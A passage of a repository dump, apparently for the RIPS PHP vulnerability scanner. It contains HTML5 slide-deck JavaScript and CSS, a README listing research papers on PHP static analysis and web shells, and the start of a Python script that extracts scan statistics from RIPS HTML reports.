ClassList = function (elem) {\n    var\n        trimmedClasses = strTrim.call(elem.className)\n      , classes = trimmedClasses ? trimmedClasses.split(/\\s+/) : []\n    ;\n    for (var i = 0, len = classes.length; i < len; i++) {\n      this.push(classes[i]);\n    }\n    this._updateClassName = function () {\n      elem.className = this.toString();\n    };\n  }\n  , classListProto = ClassList[protoProp] = []\n  , classListGetter = function () {\n    return new ClassList(this);\n  }\n;\n// Most DOMException implementations don't allow calling DOMException's toString()\n// on non-DOMExceptions. Error's toString() is sufficient here.\nDOMEx[protoProp] = Error[protoProp];\nclassListProto.item = function (i) {\n  return this[i] || null;\n};\nclassListProto.contains = function (token) {\n  token += \"\";\n  return checkTokenAndGetIndex(this, token) !== -1;\n};\nclassListProto.add = function (token) {\n  token += \"\";\n  if (checkTokenAndGetIndex(this, token) === -1) {\n    this.push(token);\n    this._updateClassName();\n  }\n};\nclassListProto.remove = function (token) {\n  token += \"\";\n  var index = checkTokenAndGetIndex(this, token);\n  if (index !== -1) {\n    this.splice(index, 1);\n    this._updateClassName();\n  }\n};\nclassListProto.toggle = function (token) {\n  token += \"\";\n  if (checkTokenAndGetIndex(this, token) === -1) {\n    this.add(token);\n  } else {\n    this.remove(token);\n  }\n};\nclassListProto.toString = function () {\n  return this.join(\" \");\n};\n\nif (objCtr.defineProperty) {\n  var classListPropDesc = {\n      get: classListGetter\n    , enumerable: true\n    , configurable: true\n  };\n  try {\n    objCtr.defineProperty(elemCtrProto, classListProp, classListPropDesc);\n  } catch (ex) { // IE 8 doesn't support enumerable:true\n    if (ex.number === -0x7FF5EC54) {\n      classListPropDesc.enumerable = false;\n      objCtr.defineProperty(elemCtrProto, classListProp, classListPropDesc);\n    }\n  }\n} else if (objCtr[protoProp].__defineGetter__) {\n  elemCtrProto.__defineGetter__(classListProp, classListGetter);\n}\n\n}(self));\n\n}\n/* ---------------------------------------------------------------------- */\n\n/* Slide movement */\n\nfunction getSlideEl(no) {\n  if ((no < 0) || (no >= slideEls.length)) {\n    return null;\n  } else {\n    return slideEls[no];\n  }\n};\n\nfunction updateSlideClass(slideNo, className) {\n  var el = getSlideEl(slideNo);\n\n  if (!el) {\n    return;\n  }\n\n  if (className) {\n    el.classList.add(className);\n  }\n\n  for (var i in SLIDE_CLASSES) {\n    if (className != SLIDE_CLASSES[i]) {\n      el.classList.remove(SLIDE_CLASSES[i]);\n    }\n  }\n};\n\nfunction updateSlides() {\n  for (var i = 0; i < slideEls.length; i++) {\n    switch (i) {\n      case curSlide - 2:\n        updateSlideClass(i, 'far-past');\n        break;\n      case curSlide - 1:\n        updateSlideClass(i, 'past');\n        break;\n      case curSlide:\n        updateSlideClass(i, 'current');\n        break;\n      case curSlide + 1:\n        updateSlideClass(i, 'next');\n        break;\n      case curSlide + 2:\n        updateSlideClass(i, 'far-next');\n        break;\n      default:\n        updateSlideClass(i);\n        break;\n    }\n  }\n\n  triggerLeaveEvent(curSlide - 1);\n  triggerEnterEvent(curSlide);\n\n  window.setTimeout(function() {\n    // Hide after the slide\n    disableSlideFrames(curSlide - 2);\n  }, 301);\n\n  enableSlideFrames(curSlide - 1);\n  enableSlideFrames(curSlide + 2);\n\n  if (isChromeVoxActive()) {\n    speakAndSyncToNode(slideEls[curSlide]);\n  }\n\n  updateHash();\n};\n\nfunction buildNextItem() {\n  var toBuild  = slideEls[curSlide].querySelectorAll('.to-build');\n\n  if (!toBuild.length) {\n    return false;\n  }\n\n  toBuild[0].classList.remove('to-build');\n\n  if (isChromeVoxActive()) {\n    speakAndSyncToNode(toBuild[0]);\n  }\n\n  return true;\n};\n\nfunction prevSlide() {\n  if (curSlide > 0) {\n    curSlide--;\n\n    updateSlides();\n  }\n};\n\nfunction nextSlide() {\n  if (buildNextItem()) {\n    return;\n  }\n\n  if (curSlide < slideEls.length - 1) {\n    curSlide++;\n\n    updateSlides();\n  }\n};\n\n/* Slide events */\n\nfunction triggerEnterEvent(no) {\n  var el = getSlideEl(no);\n  if (!el) {\n    return;\n  }\n\n  var onEnter = el.getAttribute('onslideenter');\n  if (onEnter) {\n    new Function(onEnter).call(el);\n  }\n\n  var evt = document.createEvent('Event');\n  evt.initEvent('slideenter', true, true);\n  evt.slideNumber = no + 1; // Make it readable\n\n  el.dispatchEvent(evt);\n};\n\nfunction triggerLeaveEvent(no) {\n  var el = getSlideEl(no);\n  if (!el) {\n    return;\n  }\n\n  var onLeave = el.getAttribute('onslideleave');\n  if (onLeave) {\n    new Function(onLeave).call(el);\n  }\n\n  var evt = document.createEvent('Event');\n  evt.initEvent('slideleave', true, true);\n  evt.slideNumber = no + 1; // Make it readable\n\n  el.dispatchEvent(evt);\n};\n\n/* Touch events */\n\nfunction handleTouchStart(event) {\n  if (event.touches.length == 1) {\n    touchDX = 0;\n    touchDY = 0;\n\n    touchStartX = event.touches[0].pageX;\n    touchStartY = event.touches[0].pageY;\n\n    document.body.addEventListener('touchmove', handleTouchMove, true);\n    document.body.addEventListener('touchend', handleTouchEnd, true);\n  }\n};\n\nfunction handleTouchMove(event) {\n  if (event.touches.length > 1) {\n    cancelTouch();\n  } else {\n    touchDX = event.touches[0].pageX - touchStartX;\n    touchDY = event.touches[0].pageY - touchStartY;\n  }\n};\n\nfunction handleTouchEnd(event) {\n  var dx = Math.abs(touchDX);\n  var dy = Math.abs(touchDY);\n\n  if ((dx > PM_TOUCH_SENSITIVITY) && (dy < (dx * 2 / 3))) {\n    if (touchDX > 0) {\n      prevSlide();\n    } else {\n      nextSlide();\n    }\n  }\n\n  cancelTouch();\n};\n\nfunction cancelTouch() {\n  document.body.removeEventListener('touchmove', handleTouchMove, true);\n  document.body.removeEventListener('touchend', handleTouchEnd, true);\n};\n\n/* Preloading frames */\n\nfunction disableSlideFrames(no) {\n  var el = getSlideEl(no);\n  if (!el) {\n    return;\n  }\n\n  var frames = el.getElementsByTagName('iframe');\n  for (var i = 0, frame; frame = frames[i]; i++) {\n    disableFrame(frame);\n  }\n};\n\nfunction enableSlideFrames(no) {\n  var el = getSlideEl(no);\n  if (!el) {\n    return;\n  }\n\n  var frames = el.getElementsByTagName('iframe');\n  for (var i = 0, frame; frame = frames[i]; i++) {\n    enableFrame(frame);\n  }\n};\n\nfunction disableFrame(frame) {\n  frame.src = 'about:blank';\n};\n\nfunction enableFrame(frame) {\n  var src = frame._src;\n\n  if (frame.src != src && src != 'about:blank') {\n    frame.src = src;\n  }\n};\n\nfunction setupFrames() {\n  var frames = document.querySelectorAll('iframe');\n  for (var i = 0, frame; frame = frames[i]; i++) {\n    frame._src = frame.src;\n    disableFrame(frame);\n  }\n\n  enableSlideFrames(curSlide);\n  enableSlideFrames(curSlide + 1);\n  enableSlideFrames(curSlide + 2);\n};\n\nfunction setupInteraction() {\n  /* Clicking and tapping */\n\n  var el = document.createElement('div');\n  el.className = 'slide-area';\n  el.id = 'prev-slide-area';\n  el.addEventListener('click', prevSlide, false);\n  document.querySelector('section.slides').appendChild(el);\n\n  var el = document.createElement('div');\n  el.className = 'slide-area';\n  el.id = 'next-slide-area';\n  el.addEventListener('click', nextSlide, false);\n  document.querySelector('section.slides').appendChild(el);\n\n  /* Swiping */\n\n  document.body.addEventListener('touchstart', handleTouchStart, false);\n}\n\n/* ChromeVox support */\n\nfunction isChromeVoxActive() {\n  if (typeof(cvox) == 'undefined') {\n    return false;\n  } else {\n    return true;\n  }\n};\n\nfunction speakAndSyncToNode(node) {\n  if (!isChromeVoxActive()) {\n    return;\n  }\n\n  cvox.ChromeVox.navigationManager.switchToStrategy(\n      cvox.ChromeVoxNavigationManager.STRATEGIES.LINEARDOM, 0, true);\n  cvox.ChromeVox.navigationManager.syncToNode(node);\n  cvox.ChromeVoxUserCommands.finishNavCommand('');\n  var target = node;\n  while (target.firstChild) {\n    target = target.firstChild;\n  }\n  cvox.ChromeVox.navigationManager.syncToNode(target);\n};\n\nfunction speakNextItem() {\n  if (!isChromeVoxActive()) {\n    return;\n  }\n\n  cvox.ChromeVox.navigationManager.switchToStrategy(\n      cvox.ChromeVoxNavigationManager.STRATEGIES.LINEARDOM, 0, true);\n  cvox.ChromeVox.navigationManager.next(true);\n  if (!cvox.DomUtil.isDescendantOfNode(\n      cvox.ChromeVox.navigationManager.getCurrentNode(), slideEls[curSlide])){\n    var target = slideEls[curSlide];\n    while (target.firstChild) {\n      target = target.firstChild;\n    }\n    cvox.ChromeVox.navigationManager.syncToNode(target);\n    cvox.ChromeVox.navigationManager.next(true);\n  }\n  cvox.ChromeVoxUserCommands.finishNavCommand('');\n};\n\nfunction speakPrevItem() {\n  if (!isChromeVoxActive()) {\n    return;\n  }\n\n  cvox.ChromeVox.navigationManager.switchToStrategy(\n      cvox.ChromeVoxNavigationManager.STRATEGIES.LINEARDOM, 0, true);\n  cvox.ChromeVox.navigationManager.previous(true);\n  if (!cvox.DomUtil.isDescendantOfNode(\n      cvox.ChromeVox.navigationManager.getCurrentNode(), slideEls[curSlide])){\n    var target = slideEls[curSlide];\n    while (target.lastChild){\n      target = target.lastChild;\n    }\n    cvox.ChromeVox.navigationManager.syncToNode(target);\n    cvox.ChromeVox.navigationManager.previous(true);\n  }\n  cvox.ChromeVoxUserCommands.finishNavCommand('');\n};\n\n/* Hash functions */\n\nfunction getCurSlideFromHash() {\n  var slideNo = parseInt(location.hash.substr(1));\n\n  if (slideNo) {\n    curSlide = slideNo - 1;\n  } else {\n    curSlide = 0;\n  }\n};\n\nfunction updateHash() {\n  location.replace('#' + (curSlide + 1));\n};\n\n/* Event listeners */\n\nfunction handleBodyKeyDown(event) {\n  switch (event.keyCode) {\n    case 39: // right arrow\n    case 13: // Enter\n    case 32: // space\n    case 34: // PgDn\n      nextSlide();\n      event.preventDefault();\n      break;\n\n    case 37: // left arrow\n    case 8: // Backspace\n    case 33: // PgUp\n      prevSlide();\n      event.preventDefault();\n      break;\n\n    case 40: // down arrow\n      if (isChromeVoxActive()) {\n        speakNextItem();\n      } else {\n        nextSlide();\n      }\n      event.preventDefault();\n      break;\n\n    case 38: // up arrow\n      if (isChromeVoxActive()) {\n        speakPrevItem();\n      } else {\n        prevSlide();\n      }\n      event.preventDefault();\n      break;\n  }\n};\n\nfunction addEventListeners() {\n  document.addEventListener('keydown', handleBodyKeyDown, false);\n};\n\n/* Initialization */\n\nfunction addPrettify() {\n  var els = document.querySelectorAll('pre');\n  for (var i = 0, el; el = els[i]; i++) {\n    if (!el.classList.contains('noprettyprint')) {\n      el.classList.add('prettyprint');\n    }\n  }\n\n  var el = document.createElement('script');\n  el.type = 'text/javascript';\n  el.src = PERMANENT_URL_PREFIX + 'prettify.js';\n  el.onload = function() {\n    prettyPrint();\n  }\n  document.body.appendChild(el);\n};\n\nfunction addFontStyle() {\n  var el = document.createElement('link');\n  el.rel = 'stylesheet';\n  el.type = 'text/css';\n  el.href = 'http://fonts.googleapis.com/css?family=' +\n            'Open+Sans:regular,semibold,italic,italicsemibold|Droid+Sans+Mono';\n\n  document.body.appendChild(el);\n};\n\nfunction addGeneralStyle() {\n  var el = document.createElement('link');\n  el.rel = 'stylesheet';\n  el.type = 'text/css';\n  el.href = PERMANENT_URL_PREFIX + 'styles.css';\n  document.body.appendChild(el);\n\n  var el = document.createElement('meta');\n  el.name = 'viewport';\n  el.content = 'width=1100,height=750';\n  document.querySelector('head').appendChild(el);\n\n  var el = document.createElement('meta');\n  el.name = 'apple-mobile-web-app-capable';\n  el.content = 'yes';\n  document.querySelector('head').appendChild(el);\n};\n\nfunction makeBuildLists() {\n  for (var i = curSlide, slide; slide = slideEls[i]; i++) {\n    var items = slide.querySelectorAll('.build > *');\n    for (var j = 0, item; item = items[j]; j++) {\n      if (item.classList) {\n        item.classList.add('to-build');\n      }\n    }\n  }\n};\n\nfunction handleDomLoaded() {\n  slideEls = document.querySelectorAll('section.slides > article');\n\n  setupFrames();\n\n  addFontStyle();\n  addGeneralStyle();\n  addPrettify();\n  addEventListeners();\n\n  updateSlides();\n\n  setupInteraction();\n  makeBuildLists();\n\n  document.body.classList.add('loaded');\n};\n\nfunction initialize() {\n  getCurSlideFromHash();\n\n  if (window['_DEBUG']) {\n    PERMANENT_URL_PREFIX = '../';\n  }\n\n  if (window['_DCL']) {\n    handleDomLoaded();\n  } else {\n    document.addEventListener('DOMContentLoaded', handleDomLoaded, false);\n  }\n}\n\n// If ?debug exists then load the script relative instead of absolute\nif (!window['_DEBUG'] && document.location.href.indexOf('?debug') !== -1) {\n  document.addEventListener('DOMContentLoaded', function() {\n    // Avoid missing the DomContentLoaded event\n    window['_DCL'] = true\n  }, false);\n\n  window['_DEBUG'] = true;\n  var script = document.createElement('script');\n  script.type = 'text/javascript';\n  script.src = '../slides.js';\n  var s = document.getElementsByTagName('script')[0];\n  s.parentNode.insertBefore(script, s);\n\n  // Remove this script\n  s.parentNode.removeChild(s);\n} else {\n  initialize();\n}\n"
  },
  {
    "path": "papers/LCA 2012_ PHP Static Code Analysis_files/styles.css",
    "content": "/*\n  Google HTML5 slides template\n\n  Authors: Luke Mahé (code)\n           Marcin Wichary (code and design)\n           \n           Dominic Mazzoni (browser compatibility)\n           Charles Chen (ChromeVox support)\n\n  URL: http://code.google.com/p/html5slides/\n*/\n\n/* Framework */\n\nhtml {\n  height: 100%;\n}\n\nbody {\n  margin: 0;\n  padding: 0;\n\n  display: block !important;\n\n  height: 100%;\n  min-height: 740px;\n  \n  overflow-x: hidden;\n  overflow-y: auto;\n\n  background: rgb(215, 215, 215);\n  background: -o-radial-gradient(rgb(240, 240, 240), rgb(190, 190, 190));\n  background: -moz-radial-gradient(rgb(240, 240, 240), rgb(190, 190, 190));\n  background: -webkit-radial-gradient(rgb(240, 240, 240), rgb(190, 190, 190));\n  background: -webkit-gradient(radial, 50% 50%, 0, 50% 50%, 500, from(rgb(240, 240, 240)), to(rgb(190, 190, 190)));\n\n  -webkit-font-smoothing: antialiased;\n}\n\n.slides {\n  width: 100%;\n  height: 100%;\n  left: 0;\n  top: 0;\n  \n  position: absolute;\n\n  -webkit-transform: translate3d(0, 0, 0);\n}\n\n.slides > article {\n  display: block;\n\n  position: absolute;\n  overflow: hidden;\n\n  width: 900px;\n  height: 700px;\n\n  left: 50%;\n  top: 50%;\n\n  margin-left: -450px;\n  margin-top: -350px;\n  \n  padding: 40px 60px;\n\n  box-sizing: border-box;\n  -o-box-sizing: border-box;\n  -moz-box-sizing: border-box;\n  -webkit-box-sizing: border-box;\n\n  border-radius: 10px;\n  -o-border-radius: 10px;\n  -moz-border-radius: 10px;\n  -webkit-border-radius: 10px;\n\n  background-color: white;\n\n  box-shadow: 0 2px 6px rgba(0, 0, 0, .1);\n  border: 1px solid rgba(0, 0, 0, .3);\n\n  transition: transform .3s ease-out;\n  -o-transition: -o-transform .3s ease-out;\n  -moz-transition: -moz-transform .3s ease-out;\n  -webkit-transition: -webkit-transform .3s ease-out;\n}\n.slides.layout-widescreen > article {\n  margin-left: -550px;\n  width: 1100px;\n}\n.slides.layout-faux-widescreen > article {\n  margin-left: -550px;\n  width: 1100px;\n  \n  padding: 40px 160px;\n}\n\n.slides.template-default > article:not(.nobackground):not(.biglogo) {\n  background: url(images/google-logo-small.png) 710px 625px no-repeat;  \n  \n  background-color: white;  \n} \n\n.slides.template-io2011 > article:not(.nobackground):not(.biglogo) {\n  background: url(images/colorbar.png) 0 600px repeat-x,\n              url(images/googleio-logo.png) 640px 625px no-repeat;\n\n  background-size: 100%, 225px;  \n\n  background-color: white;  \n}\n.slides.layout-widescreen > article:not(.nobackground):not(.biglogo),\n.slides.layout-faux-widescreen > article:not(.nobackground):not(.biglogo) {\n  background-position-x: 0, 840px;\n}\n\n/* Clickable/tappable areas */\n\n.slide-area {\n  z-index: 1000;\n\n  position: absolute;\n  left: 0;\n  top: 0;\n  width: 150px;\n  height: 700px;  \n\n  left: 50%;\n  top: 50%;\n\n  cursor: pointer;  \n  margin-top: -350px;  \n  \n  tap-highlight-color: transparent;\n  -o-tap-highlight-color: transparent;\n  -moz-tap-highlight-color: transparent;\n  -webkit-tap-highlight-color: transparent;\n}\n#prev-slide-area {\n  margin-left: -550px;\n}\n#next-slide-area {\n  margin-left: 400px;\n}\n.slides.layout-widescreen #prev-slide-area,\n.slides.layout-faux-widescreen #prev-slide-area {\n  margin-left: -650px;\n}\n.slides.layout-widescreen #next-slide-area,\n.slides.layout-faux-widescreen #next-slide-area {\n  margin-left: 500px;\n}\n\n/* Slide styles */\n\n.slides.template-default article.biglogo {\n  background: white url(images/google-logo.png) 50% 50% no-repeat;\n}\n\n.slides.template-io2011 article.biglogo {\n  background: white url(images/googleio-logo.png) 50% 50% no-repeat;\n\n  background-size: 600px;\n}\n\n/* Slides */\n\n.slides > article {\n  display: none;\n}\n.slides > article.far-past {\n  display: block;\n  transform: translate(-2040px);\n  -o-transform: translate(-2040px);\n  -moz-transform: translate(-2040px);\n  -webkit-transform: translate3d(-2040px, 0, 0);\n}\n.slides > article.past {\n  display: block;\n  transform: translate(-1020px);\n  -o-transform: translate(-1020px);\n  -moz-transform: translate(-1020px);\n  -webkit-transform: translate3d(-1020px, 0, 0);\n}\n.slides > article.current {\n  display: block;\n  transform: translate(0);\n  -o-transform: translate(0);\n  -moz-transform: translate(0);\n  -webkit-transform: translate3d(0, 0, 0);\n}\n.slides > article.next {\n  display: block;\n  transform: translate(1020px);\n  -o-transform: translate(1020px);\n  -moz-transform: translate(1020px);\n  -webkit-transform: translate3d(1020px, 0, 0);\n}\n.slides > article.far-next {\n  display: block;\n  transform: translate(2040px);\n  -o-transform: translate(2040px);\n  -moz-transform: translate(2040px);\n  -webkit-transform: translate3d(2040px, 0, 0);\n}\n\n.slides.layout-widescreen > article.far-past,\n.slides.layout-faux-widescreen > article.far-past {\n  display: block;\n  transform: translate(-2260px);\n  -o-transform: translate(-2260px);\n  -moz-transform: translate(-2260px);\n  -webkit-transform: translate3d(-2260px, 0, 0);\n}\n.slides.layout-widescreen > article.past,\n.slides.layout-faux-widescreen > article.past {\n  display: block;\n  transform: translate(-1130px);\n  -o-transform: translate(-1130px);\n  -moz-transform: translate(-1130px);\n  -webkit-transform: translate3d(-1130px, 0, 0);\n}\n.slides.layout-widescreen > article.current,\n.slides.layout-faux-widescreen > article.current {\n  display: block;\n  transform: translate(0);\n  -o-transform: translate(0);\n  -moz-transform: translate(0);\n  -webkit-transform: translate3d(0, 0, 0);\n}\n.slides.layout-widescreen > article.next,\n.slides.layout-faux-widescreen > article.next {\n  display: block;\n  transform: translate(1130px);\n  -o-transform: translate(1130px);\n  -moz-transform: translate(1130px);\n  -webkit-transform: translate3d(1130px, 0, 0);\n}\n.slides.layout-widescreen > article.far-next,\n.slides.layout-faux-widescreen > article.far-next {\n  display: block;\n  transform: translate(2260px);\n  -o-transform: translate(2260px);\n  -moz-transform: translate(2260px);\n  -webkit-transform: translate3d(2260px, 0, 0);\n}\n\n/* Styles for slides */\n\n.slides > article {\n  font-family: 'Open Sans', Arial, sans-serif;\n\n  color: rgb(102, 102, 102);\n  text-shadow: 0 1px 1px rgba(0, 0, 0, .1);\n\n  font-size: 30px;\n  line-height: 36px;\n\n  letter-spacing: -1px;\n}\n\nb {\n  font-weight: 600;\n}\n\n.blue {\n  color: rgb(0, 102, 204);\n}\n.yellow {\n  color: rgb(255, 211, 25);\n}\n.green {\n  color: rgb(0, 138, 53);\n}\n.red {\n  color: rgb(255, 0, 0);\n}\n.black {\n  color: black;\n}\n.white {\n  color: white;\n}\n\na {\n  color: rgb(0, 102, 204);\n}\na:visited {\n  color: rgba(0, 102, 204, .75);\n}\na:hover {\n  color: black;\n}\n\np {\n  margin: 0;\n  padding: 0;\n\n  margin-top: 20px;\n}\np:first-child {\n  margin-top: 0;\n}\n\nh1 {\n  font-size: 60px;\n  line-height: 60px;\n\n  padding: 0;\n  margin: 0;\n  margin-top: 200px;\n  padding-right: 40px;\n\n  font-weight: 600;\n\n  letter-spacing: -3px;\n\n  color: rgb(51, 51, 51);\n}\n\nh2 {\n  font-size: 45px;\n  line-height: 45px;\n\n  position: absolute;\n  bottom: 150px;\n\n  padding: 0;\n  margin: 0;\n  padding-right: 40px;\n\n  font-weight: 600;\n\n  letter-spacing: -2px;\n\n  color: rgb(51, 51, 51);\n}\n\nh3 {\n  font-size: 30px;\n  line-height: 36px;\n\n  padding: 0;\n  margin: 0;\n  padding-right: 40px;\n\n  font-weight: 600;\n\n  letter-spacing: -1px;\n\n  color: rgb(51, 51, 51);\n}\n\narticle.fill h3 {\n  background: rgba(255, 255, 255, .75);\n  padding-top: .2em;\n  padding-bottom: .3em;\n  margin-top: -.2em;\n  margin-left: -60px;\n  padding-left: 60px;\n  margin-right: -60px;\n  padding-right: 60px;\n}\n\nul {\n  list-style: none;\n  margin: 0;\n  padding: 0;\n\n  margin-top: 40px;\n\n  margin-left: .75em;\n}\nul:first-child {\n  margin-top: 0;\n}\nul ul {\n  margin-top: .5em;\n}\nli {\n  padding: 0;\n  margin: 0;\n\n  margin-bottom: .5em;\n}\nli::before {\n  content: '·';\n\n  width: .75em;\n  margin-left: -.75em;\n\n  position: absolute;\n}\n\npre {\n  font-family: 'Droid Sans Mono', 'Courier New', monospace;\n\n  font-size: 20px;\n  line-height: 28px;\n  padding: 5px 10px;\n  \n  letter-spacing: -1px;\n\n  margin-top: 40px;\n  margin-bottom: 40px;\n\n  color: black;\n  background: rgb(240, 240, 240);\n  border: 1px solid rgb(224, 224, 224);\n  box-shadow: inset 0 2px 6px rgba(0, 0, 0, .1);\n  \n  overflow: hidden;\n}\n\ncode {\n  font-size: 95%;\n  font-family: 'Droid Sans Mono', 'Courier New', monospace;\n\n  color: black;\n}\n\niframe {\n  width: 100%;\n\n  height: 620px;\n\n  background: white;\n  border: 1px solid rgb(192, 192, 192);\n  margin: -1px;\n  /*box-shadow: inset 0 2px 6px rgba(0, 0, 0, .1);*/\n}\n\nh3 + iframe {\n  margin-top: 40px;\n  height: 540px;\n}\n\narticle.fill iframe {\n  position: absolute;\n  left: 0;\n  top: 0;\n  width: 100%;\n  height: 100%;\n\n  border: 0;\n  margin: 0;\n\n  border-radius: 10px;\n  -o-border-radius: 10px;\n  -moz-border-radius: 10px;\n  -webkit-border-radius: 10px;\n\n  z-index: -1;\n}\n\narticle.fill img {\n  position: absolute;\n  left: 0;\n  top: 0;\n  min-width: 100%;\n  min-height: 100%;\n\n  border-radius: 10px;\n  -o-border-radius: 10px;\n  -moz-border-radius: 10px;\n  -webkit-border-radius: 10px;\n\n  z-index: -1;\n}\nimg.centered {\n  margin: 0 auto;\n  display: block;\n}\n\ntable {\n  width: 100%;\n  border-collapse: collapse;\n  margin-top: 40px;\n}\nth {\n  font-weight: 600;\n  text-align: left;\n}\ntd,\nth {\n  border: 1px solid rgb(224, 224, 224);\n  padding: 5px 10px;\n  vertical-align: top;\n}\n\n.source {\n  position: absolute;\n  left: 60px;\n  top: 644px;\n  padding-right: 175px;\n  \n  font-size: 15px;\n  letter-spacing: 0;  \n  line-height: 18px;\n}\n\nq {\n  display: block;\n  font-size: 60px;\n  line-height: 72px;\n  \n  margin-left: 20px;\n  \n  margin-top: 100px;\n  margin-right: 150px;    \n}\nq::before {\n  content: '“';\n  \n  position: absolute;\n  display: inline-block;\n  margin-left: -2.1em;\n  width: 2em;\n  text-align: right;\n  \n  font-size: 90px;\n  color: rgb(192, 192, 192);\n}\nq::after {\n  content: '”';\n\n  position: absolute;  \n  margin-left: .1em;\n\n  font-size: 90px;\n  color: rgb(192, 192, 192);  \n}\ndiv.author {\n  text-align: right;  \n  font-size: 40px;\n  \n  margin-top: 20px;\n  margin-right: 150px;    \n}\ndiv.author::before {\n  content: '—';\n}\n\n/* Size variants */\n\narticle.smaller p,\narticle.smaller ul {\n  font-size: 20px;\n  line-height: 24px;\n  letter-spacing: 0;\n}\narticle.smaller table {\n  font-size: 20px;\n  line-height: 24px;\n  letter-spacing: 0;\n}\narticle.smaller pre {\n  font-size: 15px;\n  line-height: 20px;\n  letter-spacing: 0;\n}\narticle.smaller q {\n  font-size: 40px;\n  line-height: 48px;\n}\narticle.smaller q::before,\narticle.smaller q::after {\n  font-size: 60px;\n}\n\n/* Builds */\n\n.build > * {\n  transition: opacity 0.5s ease-in-out 0.2s;\n  -o-transition: opacity 0.5s ease-in-out 0.2s;\n  -moz-transition: opacity 0.5s ease-in-out 0.2s;\n  -webkit-transition: opacity 0.5s ease-in-out 0.2s;\n}\n\n.to-build {\n  opacity: 0;\n}\n\n/* Pretty print */\n\n.prettyprint .str, /* string content */\n.prettyprint .atv { /* a markup attribute value */\n  color: rgb(0, 138, 53); \n}  \n.prettyprint .kwd, /* a keyword */\n.prettyprint .tag { /* a markup tag name */\n  color: rgb(0, 102, 204);\n}\n.prettyprint .com { /* a comment */\n  color: rgb(127, 127, 127); \n  font-style: italic; \n}  \n.prettyprint .lit { /* a literal value */\n  color: rgb(127, 0, 0);\n}  \n.prettyprint .pun, /* punctuation, lisp open bracket, lisp close bracket */\n.prettyprint .opn, \n.prettyprint .clo { \n  color: rgb(127, 127, 127); \n}\n.prettyprint .typ, /* a type name */\n.prettyprint .atn, /* a markup attribute name */ \n.prettyprint .dec, \n.prettyprint .var { /* a declaration; a variable name */\n  color: rgb(127, 0, 127);\n}  \n"
  },
  {
    "path": "papers/README.md",
    "content": "# Papers by Johannes Dahse\n\n2016\n* [Static detection of complex vulnerabilities in modern PHP applications](https://d-nb.info/1099703417/34) (dissertation)\n* [No Honor Among Thieves: A Large-Scale Analysis of Malicious Web Shells](http://www.cyber-investigator.org/wp-content/uploads/2016/04/webshells_www2016.pdf)\n\n2015\n* [Experience report: an empirical study of PHP security mechanism usage](http://syssec.rub.de/media/emma/veroeffentlichungen/2015/05/27/sanitization_issta15.pdf)\n* [Security Analysis of PHP Bytecode Protection Mechanisms](https://pdfs.semanticscholar.org/0c37/61f05ac238d58194a41323018f7c21907b05.pdf)\n\n2014\n* [Code Reuse Attacks in PHP: Automated POP Chain Generation](https://www.ei.rub.de/media/emma/veroeffentlichungen/2014/09/10/POPChainGeneration-CCS14.pdf)\n* [Simulation of Built-in PHP Features for Precise Static Code Analysis](http://wp.internetsociety.org/ndss/wp-content/uploads/sites/25/2017/09/04_5_0.pdf) [Slides](http://wp.internetsociety.org/ndss/wp-content/uploads/sites/25/2017/09/04_5_slides.pdf)\n* [Static Detection of Second-Order Vulnerabilities in Web Applications](https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-dahse.pdf) [Slides](https://www.usenix.org/sites/default/files/conference/protected-files/sec14_slides_dahse.pdf)\n\n2010\n* [RIPS - A static source code analyser for vulnerabilities in PHP scripts](https://sourceforge.net/projects/rips-scanner/files/rips-paper.pdf/download) (seminar work)\n* [RIPS - A static source code analyser for vulnerabilities in PHP scripts](http://php-security.org/downloads/rips.pdf) [Slides](https://websec.files.wordpress.com/2010/11/rips-slides.pdf)\n\n# Other Sources\n\n2012\n* [linux.com.au 2012: Finding Vulnerabilities in PHP code](http://peter.serwylo.com/?p=115) [YouTube](https://www.youtube.com/watch?v=zrXFGjJyP8M)\n\n2011\n* [toolsmith: RIPS - A static source code analyser for vulnerabilities in PHP scripts](http://www.issa.org/resource/resmgr/PDF/McRee-toolsmith.pdf)\n"
  },
  {
    "path": "rips_stats.py",
    "content": "#! /usr/bin/env python\n# -*- coding: UTF-8 -*-\n# Author : tintinweb@oststrom.com <github.com/tintinweb>\n#\n# minimal dependencies, we do not require a fully blown html parser, beautifulsoup\n#  and others\nimport sys, re, os\n\nSTATS_BEGIN = '<div id=\"stats\" class=\"stats\">'\nSTATS_END = '<div class=\"filebox\">'\n\ndef getargs():\n    '''\n    minimalistic argparse\n    '''\n    args = []\n    options = []\n    if len(sys.argv) <= 1:\n        print \"\"\"Usage: %s [<report.html>, ...]\"\"\"%sys.argv[0]\n        exit(1)\n    for a in sys.argv[1:]:\n        if a.startswith(\"--\"):\n            options.append(a)\n        else:\n            args.append(a)\n    return args, options\n\ndef extract_td_single(column_name,data):\n    '''\n    utility function to extract data column text\n    '''\n    d = re.findall(r'%s</td><td[^>]*>([^<]+)'%column_name,data,re.MULTILINE|re.DOTALL)\n    if d:\n        return d[0]\n    return ''\n\ndef main(args, options=[]):\n    errcode = 0\n    stats={}\n\n    for file in args:\n        print \"[*] processing '%s'\"%file\n        if not os.path.isfile(file):\n            print \"[!!] file not found/not a file - '%s'\"%file\n            continue\n        with open(file,'r') as f:\n            data = None\n            # performance - reduce regex searchspace; extract stats div\n            for line in f.readlines():\n                if data:\n                    data += line\n                if STATS_BEGIN in line:\n                    data = line[line.index(STATS_BEGIN):]\n                    continue\n                if STATS_END in line:\n                    break\n            if data:\n                print \"[**] extracting data\"\n                x = re.findall(r'Sum:</td><td>(\\d+)</td>', data)\n                stats['hits'] = int(x[0]) if x else 0    # if Sum: is missing, there were not vulns.\n                stats['cats'] = re.findall(r'catshow\\(\\'([^\\']+)', data)\n                stats['num_cats']=len(stats['cats'])\n                x = re.findall(r'<span id=\"scantime\">(\\d+\\.\\d+) seconds</span>',data)\n                stats['scantime'] = x[0] if x else None\n\n                for s in (\"Scanned files:\", \"Include success:\", \"Considered sinks:\",\n                          \"User-defined functions:\",\"Unique sources:\",\"Sensitive sinks:\"):\n                    stats[s] = extract_td_single(s, data).strip()\n\n\n        stats['dummy']=''\n        print \"[***] Results\"\n        print \"\"\"[    ] Scanned Files:           %(Scanned files:)20s\n[    ] Include Success:         %(Include success:)20s\n[    ] Time Elapsed:            %(scantime)19ss\n\n[    ] Considered sinks:        %(Considered sinks:)20s\n[    ] User-defined functions:  %(User-defined functions:)20s\n[    ] Unique sources:          %(Unique sources:)20s\n[    ] Sensitive sinks:         %(Sensitive sinks:)20s\n\n[    ] Hits:                    %(hits)20s\n[    ] Categories:              